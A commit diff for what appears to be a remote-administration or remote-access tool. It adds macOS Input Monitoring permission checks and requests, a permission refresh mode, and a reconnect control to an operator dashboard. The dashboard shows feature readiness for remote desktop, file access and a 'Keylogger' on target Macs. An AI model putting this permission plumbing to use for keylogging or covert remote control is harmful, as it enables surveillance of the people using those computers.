more mac imporvements and refresh
This commit is contained in:
@@ -2281,6 +2281,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
case "darwin_request_permissions":
|
case "darwin_request_permissions":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
var requested []string
|
var requested []string
|
||||||
|
refreshOnly, _ := payload["refreshOnly"].(bool)
|
||||||
if raw, ok := payload["permissions"].([]interface{}); ok {
|
if raw, ok := payload["permissions"].([]interface{}); ok {
|
||||||
for _, item := range raw {
|
for _, item := range raw {
|
||||||
if key, ok := item.(string); ok && key != "" {
|
if key, ok := item.(string); ok && key != "" {
|
||||||
@@ -2288,9 +2289,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
perms := sysinfo.RequestDarwinPermissions(requested)
|
perms := sysinfo.DarwinPermissionsRefresh()
|
||||||
|
if !refreshOnly {
|
||||||
|
perms = sysinfo.RequestDarwinPermissions(requested)
|
||||||
|
}
|
||||||
missing := make([]string, 0)
|
missing := make([]string, 0)
|
||||||
for _, key := range []string{"accessibility", "screenRecording", "fullDiskAccess"} {
|
keys := []string{"accessibility", "screenRecording", "fullDiskAccess"}
|
||||||
|
if !refreshOnly {
|
||||||
|
keys = append(keys, "inputMonitoring")
|
||||||
|
}
|
||||||
|
for _, key := range keys {
|
||||||
if perms == nil || !perms[key] {
|
if perms == nil || !perms[key] {
|
||||||
missing = append(missing, key)
|
missing = append(missing, key)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,6 +22,16 @@ func Elevation() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func DarwinPermissions() map[string]bool {
|
func DarwinPermissions() map[string]bool {
|
||||||
|
return map[string]bool{
|
||||||
|
"screenRecording": darwinScreenRecordingPermission(),
|
||||||
|
"accessibility": darwinAccessibilityPermission(),
|
||||||
|
"inputMonitoring": darwinInputMonitoringPermission(),
|
||||||
|
"fullDiskAccess": darwinFullDiskAccessPermission(),
|
||||||
|
"root": os.Getuid() == 0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func DarwinPermissionsRefresh() map[string]bool {
|
||||||
return map[string]bool{
|
return map[string]bool{
|
||||||
"screenRecording": darwinScreenRecordingPermission(),
|
"screenRecording": darwinScreenRecordingPermission(),
|
||||||
"accessibility": darwinAccessibilityPermission(),
|
"accessibility": darwinAccessibilityPermission(),
|
||||||
@@ -38,6 +48,7 @@ func RequestDarwinPermissions(requested []string) map[string]bool {
|
|||||||
if len(want) == 0 {
|
if len(want) == 0 {
|
||||||
want["accessibility"] = true
|
want["accessibility"] = true
|
||||||
want["screenRecording"] = true
|
want["screenRecording"] = true
|
||||||
|
want["inputMonitoring"] = true
|
||||||
want["fullDiskAccess"] = true
|
want["fullDiskAccess"] = true
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -47,6 +58,10 @@ func RequestDarwinPermissions(requested []string) map[string]bool {
|
|||||||
if want["screenRecording"] {
|
if want["screenRecording"] {
|
||||||
darwinRequestScreenRecordingPermission()
|
darwinRequestScreenRecordingPermission()
|
||||||
}
|
}
|
||||||
|
if want["inputMonitoring"] {
|
||||||
|
darwinRequestInputMonitoringPermission()
|
||||||
|
_ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_ListenEvent").Start()
|
||||||
|
}
|
||||||
if want["fullDiskAccess"] {
|
if want["fullDiskAccess"] {
|
||||||
_ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Start()
|
_ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Start()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,6 +14,10 @@ func DarwinPermissions() map[string]bool {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func DarwinPermissionsRefresh() map[string]bool {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func RequestDarwinPermissions(_ []string) map[string]bool {
|
func RequestDarwinPermissions(_ []string) map[string]bool {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,6 +20,10 @@ func DarwinPermissions() map[string]bool {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func DarwinPermissionsRefresh() map[string]bool {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func RequestDarwinPermissions(_ []string) map[string]bool {
|
func RequestDarwinPermissions(_ []string) map[string]bool {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -66,6 +66,10 @@ func DarwinPermissions() map[string]bool {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func DarwinPermissionsRefresh() map[string]bool {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func RequestDarwinPermissions(_ []string) map[string]bool {
|
func RequestDarwinPermissions(_ []string) map[string]bool {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,11 +3,12 @@
|
|||||||
package sysinfo
|
package sysinfo
|
||||||
|
|
||||||
/*
|
/*
|
||||||
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation
|
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation -framework IOKit
|
||||||
|
|
||||||
#include <ApplicationServices/ApplicationServices.h>
|
#include <ApplicationServices/ApplicationServices.h>
|
||||||
#include <CoreFoundation/CoreFoundation.h>
|
#include <CoreFoundation/CoreFoundation.h>
|
||||||
#include <CoreGraphics/CoreGraphics.h>
|
#include <CoreGraphics/CoreGraphics.h>
|
||||||
|
#include <IOKit/hidsystem/IOHIDLib.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
|
||||||
extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import));
|
extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import));
|
||||||
@@ -22,6 +23,10 @@ static int checkScreenRecordingPermission(void) {
|
|||||||
return CGPreflightScreenCaptureAccess() ? 1 : 0;
|
return CGPreflightScreenCaptureAccess() ? 1 : 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static int checkInputMonitoringPermission(void) {
|
||||||
|
return IOHIDCheckAccess(kIOHIDRequestTypeListenEvent) == kIOHIDAccessTypeGranted ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
static int requestAccessibilityPermission(void) {
|
static int requestAccessibilityPermission(void) {
|
||||||
const void *keys[] = { kAXTrustedCheckOptionPrompt };
|
const void *keys[] = { kAXTrustedCheckOptionPrompt };
|
||||||
const void *values[] = { kCFBooleanTrue };
|
const void *values[] = { kCFBooleanTrue };
|
||||||
@@ -42,6 +47,10 @@ static int requestScreenRecordingPermission(void) {
|
|||||||
if (CGRequestScreenCaptureAccess == NULL) return checkScreenRecordingPermission();
|
if (CGRequestScreenCaptureAccess == NULL) return checkScreenRecordingPermission();
|
||||||
return CGRequestScreenCaptureAccess() ? 1 : 0;
|
return CGRequestScreenCaptureAccess() ? 1 : 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static int requestInputMonitoringPermission(void) {
|
||||||
|
return IOHIDRequestAccess(kIOHIDRequestTypeListenEvent) == kIOHIDAccessTypeGranted ? 1 : 0;
|
||||||
|
}
|
||||||
*/
|
*/
|
||||||
import "C"
|
import "C"
|
||||||
|
|
||||||
@@ -53,6 +62,10 @@ func darwinScreenRecordingPermission() bool {
|
|||||||
return C.checkScreenRecordingPermission() == 1
|
return C.checkScreenRecordingPermission() == 1
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func darwinInputMonitoringPermission() bool {
|
||||||
|
return C.checkInputMonitoringPermission() == 1
|
||||||
|
}
|
||||||
|
|
||||||
func darwinRequestAccessibilityPermission() bool {
|
func darwinRequestAccessibilityPermission() bool {
|
||||||
return C.requestAccessibilityPermission() == 1
|
return C.requestAccessibilityPermission() == 1
|
||||||
}
|
}
|
||||||
@@ -60,3 +73,7 @@ func darwinRequestAccessibilityPermission() bool {
|
|||||||
func darwinRequestScreenRecordingPermission() bool {
|
func darwinRequestScreenRecordingPermission() bool {
|
||||||
return C.requestScreenRecordingPermission() == 1
|
return C.requestScreenRecordingPermission() == 1
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func darwinRequestInputMonitoringPermission() bool {
|
||||||
|
return C.requestInputMonitoringPermission() == 1
|
||||||
|
}
|
||||||
|
|||||||
@@ -10,6 +10,10 @@ func darwinScreenRecordingPermission() bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func darwinInputMonitoringPermission() bool {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
func darwinRequestAccessibilityPermission() bool {
|
func darwinRequestAccessibilityPermission() bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@@ -17,3 +21,7 @@ func darwinRequestAccessibilityPermission() bool {
|
|||||||
func darwinRequestScreenRecordingPermission() bool {
|
func darwinRequestScreenRecordingPermission() bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func darwinRequestInputMonitoringPermission() bool {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|||||||
@@ -2613,6 +2613,44 @@ tbody tr:hover {
|
|||||||
.cv-perm-chip:hover { filter: brightness(1.08); }
|
.cv-perm-chip:hover { filter: brightness(1.08); }
|
||||||
.cv-perm-chip.is-ok { background: rgba(16, 185, 129, 0.1); color: #86efac; border-color: rgba(16, 185, 129, 0.25); }
|
.cv-perm-chip.is-ok { background: rgba(16, 185, 129, 0.1); color: #86efac; border-color: rgba(16, 185, 129, 0.25); }
|
||||||
.cv-perm-chip.is-missing { background: rgba(244, 63, 94, 0.1); color: #fda4af; border-color: rgba(244, 63, 94, 0.25); }
|
.cv-perm-chip.is-missing { background: rgba(244, 63, 94, 0.1); color: #fda4af; border-color: rgba(244, 63, 94, 0.25); }
|
||||||
|
.cv-perm-freshness {
|
||||||
|
font-size: 10px;
|
||||||
|
color: var(--cv-text-dim);
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
.cv-perm-readiness,
|
||||||
|
.cv-perm-actions {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 5px;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
.cv-perm-readiness {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
.cv-ready-chip,
|
||||||
|
.cv-perm-tool {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 5px;
|
||||||
|
min-height: 22px;
|
||||||
|
padding: 2px 7px;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
font-size: 11px;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
.cv-ready-chip.is-ok { background: rgba(16, 185, 129, 0.08); color: #86efac; border-color: rgba(16, 185, 129, 0.2); }
|
||||||
|
.cv-ready-chip.is-warn { background: rgba(245, 158, 11, 0.1); color: #fcd34d; border-color: rgba(245, 158, 11, 0.24); }
|
||||||
|
.cv-perm-tool {
|
||||||
|
cursor: pointer;
|
||||||
|
font: inherit;
|
||||||
|
appearance: none;
|
||||||
|
background: rgba(148, 163, 184, 0.08);
|
||||||
|
color: var(--cv-text);
|
||||||
|
border-color: rgba(148, 163, 184, 0.18);
|
||||||
|
}
|
||||||
|
.cv-perm-tool:hover { background: rgba(148, 163, 184, 0.14); }
|
||||||
|
|
||||||
.cv-group {
|
.cv-group {
|
||||||
display: inline-flex;
|
display: inline-flex;
|
||||||
|
|||||||
@@ -184,12 +184,13 @@ function macPermissionLabels(keys = []) {
|
|||||||
const labels = {
|
const labels = {
|
||||||
accessibility: "Accessibility",
|
accessibility: "Accessibility",
|
||||||
screenRecording: "Screen Recording",
|
screenRecording: "Screen Recording",
|
||||||
|
inputMonitoring: "Input Monitoring",
|
||||||
fullDiskAccess: "Full Disk Access",
|
fullDiskAccess: "Full Disk Access",
|
||||||
};
|
};
|
||||||
return keys.map((key) => labels[key] || key).join(", ");
|
return keys.map((key) => labels[key] || key).join(", ");
|
||||||
}
|
}
|
||||||
|
|
||||||
async function requestMacPermissions(clientId, permissionKey = "") {
|
async function requestMacPermissions(clientId, permissionKey = "", { refreshOnly = false } = {}) {
|
||||||
if (!clientId) return;
|
if (!clientId) return;
|
||||||
if (!isClientOnline(clientId)) {
|
if (!isClientOnline(clientId)) {
|
||||||
alert("Client is offline. macOS permissions can only be requested while the client is online.");
|
alert("Client is offline. macOS permissions can only be requested while the client is online.");
|
||||||
@@ -200,14 +201,20 @@ async function requestMacPermissions(clientId, permissionKey = "") {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const requested = permissionKey ? [permissionKey] : ["accessibility", "screenRecording", "fullDiskAccess"];
|
const requested = permissionKey
|
||||||
|
? [permissionKey]
|
||||||
|
: refreshOnly
|
||||||
|
? ["accessibility", "screenRecording", "fullDiskAccess"]
|
||||||
|
: ["accessibility", "screenRecording", "inputMonitoring", "fullDiskAccess"];
|
||||||
const label = macPermissionLabels(requested) || "macOS permissions";
|
const label = macPermissionLabels(requested) || "macOS permissions";
|
||||||
const proceed = confirm(
|
if (!refreshOnly) {
|
||||||
`Request ${label} from ${clientId}?\n\n` +
|
const proceed = confirm(
|
||||||
"This can show a macOS prompt on the target Mac. " +
|
`Request ${label} from ${clientId}?\n\n` +
|
||||||
"Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible.",
|
"This can show a macOS prompt on the target Mac. " +
|
||||||
);
|
"Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible.",
|
||||||
if (!proceed) return;
|
);
|
||||||
|
if (!proceed) return;
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, {
|
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, {
|
||||||
@@ -216,6 +223,7 @@ async function requestMacPermissions(clientId, permissionKey = "") {
|
|||||||
body: JSON.stringify({
|
body: JSON.stringify({
|
||||||
action: "darwin_request_permissions",
|
action: "darwin_request_permissions",
|
||||||
permissions: requested,
|
permissions: requested,
|
||||||
|
refreshOnly,
|
||||||
}),
|
}),
|
||||||
});
|
});
|
||||||
const data = await res.json().catch(() => ({}));
|
const data = await res.json().catch(() => ({}));
|
||||||
@@ -225,7 +233,9 @@ async function requestMacPermissions(clientId, permissionKey = "") {
|
|||||||
}
|
}
|
||||||
const missing = Array.isArray(data.missing) ? data.missing : [];
|
const missing = Array.isArray(data.missing) ? data.missing : [];
|
||||||
const stillMissingRequested = missing.filter((key) => requested.includes(key));
|
const stillMissingRequested = missing.filter((key) => requested.includes(key));
|
||||||
if (stillMissingRequested.length) {
|
if (refreshOnly) {
|
||||||
|
window.showToast?.("macOS permissions refreshed", "success", 2500);
|
||||||
|
} else if (stillMissingRequested.length) {
|
||||||
alert(`Permission request completed, but still missing: ${macPermissionLabels(stillMissingRequested)}`);
|
alert(`Permission request completed, but still missing: ${macPermissionLabels(stillMissingRequested)}`);
|
||||||
} else {
|
} else {
|
||||||
alert(`${label} is granted.`);
|
alert(`${label} is granted.`);
|
||||||
@@ -236,6 +246,25 @@ async function requestMacPermissions(clientId, permissionKey = "") {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function applyMacPermissionChanges(clientId) {
|
||||||
|
if (!clientId) return;
|
||||||
|
if (!isClientOnline(clientId)) {
|
||||||
|
alert("Client is offline.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const proceed = confirm(
|
||||||
|
`Reconnect ${clientId} to apply macOS permission changes?\n\n` +
|
||||||
|
"The client will reconnect and report fresh permission state.",
|
||||||
|
);
|
||||||
|
if (!proceed) return;
|
||||||
|
markManualDisconnect(clientId);
|
||||||
|
const ok = await sendCommand(clientId, "reconnect");
|
||||||
|
if (ok) {
|
||||||
|
window.showToast?.("Reconnect requested", "success", 2500);
|
||||||
|
setTimeout(() => loadWithOptions({ force: true }), 1200);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
window.__uninstallingClientIds = window.__uninstallingClientIds || new Set();
|
window.__uninstallingClientIds = window.__uninstallingClientIds || new Set();
|
||||||
|
|
||||||
function flipFallAndRemove(clientId, { delayMs = 0 } = {}) {
|
function flipFallAndRemove(clientId, { delayMs = 0 } = {}) {
|
||||||
@@ -910,6 +939,8 @@ function initializeRenderer() {
|
|||||||
requestThumbnail,
|
requestThumbnail,
|
||||||
pingClient: (id) => sendCommand(id, "ping"),
|
pingClient: (id) => sendCommand(id, "ping"),
|
||||||
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
|
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
|
||||||
|
onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }),
|
||||||
|
onMacPermissionApply: (id) => applyMacPermissionChanges(id),
|
||||||
userRole: currentUser?.role,
|
userRole: currentUser?.role,
|
||||||
getServerVersion: () => currentServerVersion,
|
getServerVersion: () => currentServerVersion,
|
||||||
getDisplayFields: () => displayFields,
|
getDisplayFields: () => displayFields,
|
||||||
|
|||||||
@@ -208,6 +208,7 @@ function isMacClient(client) {
|
|||||||
const MAC_PERMISSION_LABELS = [
|
const MAC_PERMISSION_LABELS = [
|
||||||
["accessibility", "Accessibility"],
|
["accessibility", "Accessibility"],
|
||||||
["screenRecording", "Screen Recording"],
|
["screenRecording", "Screen Recording"],
|
||||||
|
["inputMonitoring", "Input Monitoring"],
|
||||||
["fullDiskAccess", "Full Disk Access"],
|
["fullDiskAccess", "Full Disk Access"],
|
||||||
];
|
];
|
||||||
|
|
||||||
@@ -234,12 +235,36 @@ function macPermissionDetailHtml(client) {
|
|||||||
if (!state) return "";
|
if (!state) return "";
|
||||||
const ok = state.missing.length === 0;
|
const ok = state.missing.length === 0;
|
||||||
const summary = ok ? "All required permissions granted" : `Missing: ${state.missing.map((item) => item.label).join(", ")}`;
|
const summary = ok ? "All required permissions granted" : `Missing: ${state.missing.map((item) => item.label).join(", ")}`;
|
||||||
|
const granted = Object.fromEntries(state.items.map((item) => [item.key, item.granted]));
|
||||||
|
const featureItems = [
|
||||||
|
{
|
||||||
|
label: "Remote Desktop",
|
||||||
|
ready: granted.screenRecording && granted.accessibility,
|
||||||
|
missing: ["screenRecording", "accessibility"].filter((key) => !granted[key]),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: "Keylogger",
|
||||||
|
ready: granted.accessibility && granted.inputMonitoring,
|
||||||
|
missing: ["accessibility", "inputMonitoring"].filter((key) => !granted[key]),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: "Files",
|
||||||
|
ready: granted.fullDiskAccess,
|
||||||
|
missing: granted.fullDiskAccess ? [] : ["fullDiskAccess"],
|
||||||
|
},
|
||||||
|
];
|
||||||
|
const labelFor = (key) => MAC_PERMISSION_LABELS.find(([k]) => k === key)?.[1] || key;
|
||||||
const chips = state.items.map((item) => `
|
const chips = state.items.map((item) => `
|
||||||
<button type="button" class="cv-perm-chip ${item.granted ? "is-ok" : "is-missing"}" data-mac-permission-key="${escapeHtml(item.key)}" title="Request ${escapeHtml(item.label)} permission">
|
<button type="button" class="cv-perm-chip ${item.granted ? "is-ok" : "is-missing"}" data-mac-permission-key="${escapeHtml(item.key)}" title="${escapeHtml(item.key === "inputMonitoring" ? "Request Input Monitoring permission; reconnect required after granting" : `Request ${item.label} permission`)}">
|
||||||
<i class="fa-solid ${item.granted ? "fa-check" : "fa-xmark"}"></i>${escapeHtml(item.label)}
|
<i class="fa-solid ${item.granted ? "fa-check" : "fa-xmark"}"></i>${escapeHtml(item.label)}
|
||||||
</button>
|
</button>
|
||||||
`).join("");
|
`).join("");
|
||||||
return `<div class="cv-field cv-field-wide cv-field-macperms"><span class="cv-field-label">macOS Permissions</span><span class="cv-field-value cv-perm-list"><span class="cv-perm-summary ${ok ? "is-ok" : "is-warn"}">${escapeHtml(summary)}</span>${chips}</span></div>`;
|
const readiness = featureItems.map((item) => `
|
||||||
|
<span class="cv-ready-chip ${item.ready ? "is-ok" : "is-warn"}" title="${escapeHtml(item.ready ? "Ready" : `Missing ${item.missing.map(labelFor).join(", ")}`)}">
|
||||||
|
<i class="fa-solid ${item.ready ? "fa-circle-check" : "fa-circle-exclamation"}"></i>${escapeHtml(item.label)}
|
||||||
|
</span>
|
||||||
|
`).join("");
|
||||||
|
return `<div class="cv-field cv-field-wide cv-field-macperms"><span class="cv-field-label">macOS Permissions</span><span class="cv-field-value cv-perm-list"><span class="cv-perm-summary ${ok ? "is-ok" : "is-warn"}">${escapeHtml(summary)}</span>${chips}<span class="cv-perm-freshness">Checked ${escapeHtml(formatAgo(client.lastSeen))}; Input Monitoring updates after reconnect</span><span class="cv-perm-readiness">${readiness}</span><span class="cv-perm-actions"><button type="button" class="cv-perm-tool" data-mac-permission-refresh="1" title="Re-check permissions except Input Monitoring"><i class="fa-solid fa-rotate"></i>Refresh</button><button type="button" class="cv-perm-tool" data-mac-permission-apply="1" title="Reconnect agent to apply newly granted permissions"><i class="fa-solid fa-power-off"></i>Apply</button></span></span></div>`;
|
||||||
}
|
}
|
||||||
|
|
||||||
function shortOsLabel(osRaw = "") {
|
function shortOsLabel(osRaw = "") {
|
||||||
@@ -282,6 +307,8 @@ export function createRenderer({
|
|||||||
requestThumbnail,
|
requestThumbnail,
|
||||||
pingClient,
|
pingClient,
|
||||||
onMacPermissionRequest,
|
onMacPermissionRequest,
|
||||||
|
onMacPermissionRefresh,
|
||||||
|
onMacPermissionApply,
|
||||||
userRole,
|
userRole,
|
||||||
getServerVersion,
|
getServerVersion,
|
||||||
getDisplayFields,
|
getDisplayFields,
|
||||||
@@ -390,6 +417,20 @@ export function createRenderer({
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (e.target.closest("[data-mac-permission-refresh]")) {
|
||||||
|
e.preventDefault();
|
||||||
|
e.stopPropagation();
|
||||||
|
if (onMacPermissionRefresh) onMacPermissionRefresh(clientId, card);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (e.target.closest("[data-mac-permission-apply]")) {
|
||||||
|
e.preventDefault();
|
||||||
|
e.stopPropagation();
|
||||||
|
if (onMacPermissionApply) onMacPermissionApply(clientId, card);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
const copyBtn = e.target.closest(".copy-id-btn");
|
const copyBtn = e.target.closest(".copy-id-btn");
|
||||||
if (copyBtn) {
|
if (copyBtn) {
|
||||||
e.stopPropagation();
|
e.stopPropagation();
|
||||||
|
|||||||
@@ -114,6 +114,7 @@ export async function handleClientCommandRoute(
|
|||||||
const requested = Array.isArray(body?.permissions)
|
const requested = Array.isArray(body?.permissions)
|
||||||
? body.permissions.filter((p: unknown) => typeof p === "string").slice(0, 8)
|
? body.permissions.filter((p: unknown) => typeof p === "string").slice(0, 8)
|
||||||
: [];
|
: [];
|
||||||
|
const refreshOnly = body?.refreshOnly === true;
|
||||||
const cmdId = uuidv4();
|
const cmdId = uuidv4();
|
||||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||||
const timeout = setTimeout(() => {
|
const timeout = setTimeout(() => {
|
||||||
@@ -123,7 +124,7 @@ export async function handleClientCommandRoute(
|
|||||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
|
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
|
||||||
});
|
});
|
||||||
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested } } as any));
|
target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested, refreshOnly } } as any));
|
||||||
metrics.recordCommand("darwin_request_permissions");
|
metrics.recordCommand("darwin_request_permissions");
|
||||||
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "darwin_request_permissions" });
|
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "darwin_request_permissions" });
|
||||||
|
|
||||||
@@ -134,8 +135,13 @@ export async function handleClientCommandRoute(
|
|||||||
try { detail = JSON.parse(result.message); } catch { detail = {}; }
|
try { detail = JSON.parse(result.message); } catch { detail = {}; }
|
||||||
}
|
}
|
||||||
if (detail.permissions && typeof detail.permissions === "object" && !Array.isArray(detail.permissions)) {
|
if (detail.permissions && typeof detail.permissions === "object" && !Array.isArray(detail.permissions)) {
|
||||||
target.permissions = detail.permissions;
|
const checkedAt = Date.now();
|
||||||
upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: target.lastSeen, online: target.online ? 1 : 0 });
|
target.permissions = {
|
||||||
|
...(target.permissions || {}),
|
||||||
|
...detail.permissions,
|
||||||
|
};
|
||||||
|
target.lastSeen = checkedAt;
|
||||||
|
upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: checkedAt, online: target.online ? 1 : 0 });
|
||||||
}
|
}
|
||||||
return Response.json({
|
return Response.json({
|
||||||
ok: result.ok,
|
ok: result.ok,
|
||||||
|
|||||||
@@ -327,7 +327,8 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
|||||||
switch (payload.type) {
|
switch (payload.type) {
|
||||||
case "desktop_start":
|
case "desktop_start":
|
||||||
if (!state.isStreaming) {
|
if (!state.isStreaming) {
|
||||||
if (target.os === "darwin" && target.permissions) {
|
const targetOs = String(target.os || "").toLowerCase();
|
||||||
|
if ((targetOs.includes("darwin") || targetOs.includes("mac")) && target.permissions) {
|
||||||
const missing: string[] = [];
|
const missing: string[] = [];
|
||||||
if (!target.permissions.screenRecording) missing.push("screenRecording");
|
if (!target.permissions.screenRecording) missing.push("screenRecording");
|
||||||
if (!target.permissions.accessibility) missing.push("accessibility");
|
if (!target.permissions.accessibility) missing.push("accessibility");
|
||||||
|
|||||||
Reference in New Issue
Block a user